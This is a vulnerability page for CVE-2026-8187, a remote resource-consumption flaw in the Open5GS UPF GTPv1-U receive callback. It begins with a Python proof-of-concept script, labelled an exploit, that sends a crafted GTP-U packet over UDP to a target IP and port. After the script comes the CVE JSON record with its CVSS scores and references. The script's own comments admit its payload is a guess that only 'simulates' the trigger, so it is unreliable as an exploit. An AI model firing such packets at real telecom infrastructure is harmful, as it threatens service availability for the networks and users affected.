CVE-2026-8187

import socket # PoC for CVE-2026-8187: Open5GS UPF Resource Consumption # This script sends a malformed GTPv1-U packet to trigger the vulnerability. # Target: Open5GS UPF component prior to 2.7.7 def send_exploit_packet(target_ip, target_port): try: # Create a UDP socket (GTP-U runs over UDP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a basic GTPv1-U header # Flags: Version=1, PT=1, (E, S, PN) = 0 gtp_flags = 0x30 # Message Type: T-PDU (0xFF) - Generic data packet msg_type = 0xFF # Length: placeholder, will update after payload construction length = 0 # TEID: Tunnel Endpoint Identifier (0 for testing) teid = 0x00000000 # Header construction (bytes) header = bytes([gtp_flags, msg_type]) + length.to_bytes(2, 'big') + teid.to_bytes(4, 'big') # Malicious Payload: The specific manipulation that triggers the flaw in _gtpv1_u_recv_cb # Often involves unexpected length or specific byte patterns. # Here we simulate a payload that might cause parsing issues. payload = b"\x00" * 1000 # Example padding # Update Length field (Header size is 4 bytes, excluded from length field in GTP usually, but implementation varies) # Standard GTP length is message length excluding header, but let's just send a large packet. length = len(payload) header = bytes([gtp_flags, msg_type]) + length.to_bytes(2, 'big') + teid.to_bytes(4, 'big') packet = header + payload print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent. Monitor UPF resource usage.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and GTP-U port (default is usually 2152) TARGET_IP = "192.168.1.10" TARGET_PORT = 2152 send_exploit_packet(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-8187", "sourceIdentifier": "[email protected]", "published": "2026-05-09T11:16:28.530", "lastModified": "2026-05-11T16:17:39.987", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Open5GS up to 2.7.7. This impacts the function _gtpv1_u_recv_cb of the file src/upf/gtp-path.c of the component UPF. Executing a manipulation can lead to resource consumption. The attack may be performed from remote. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-404"}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4492", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/800025", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362339", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362339/cti", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4492", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}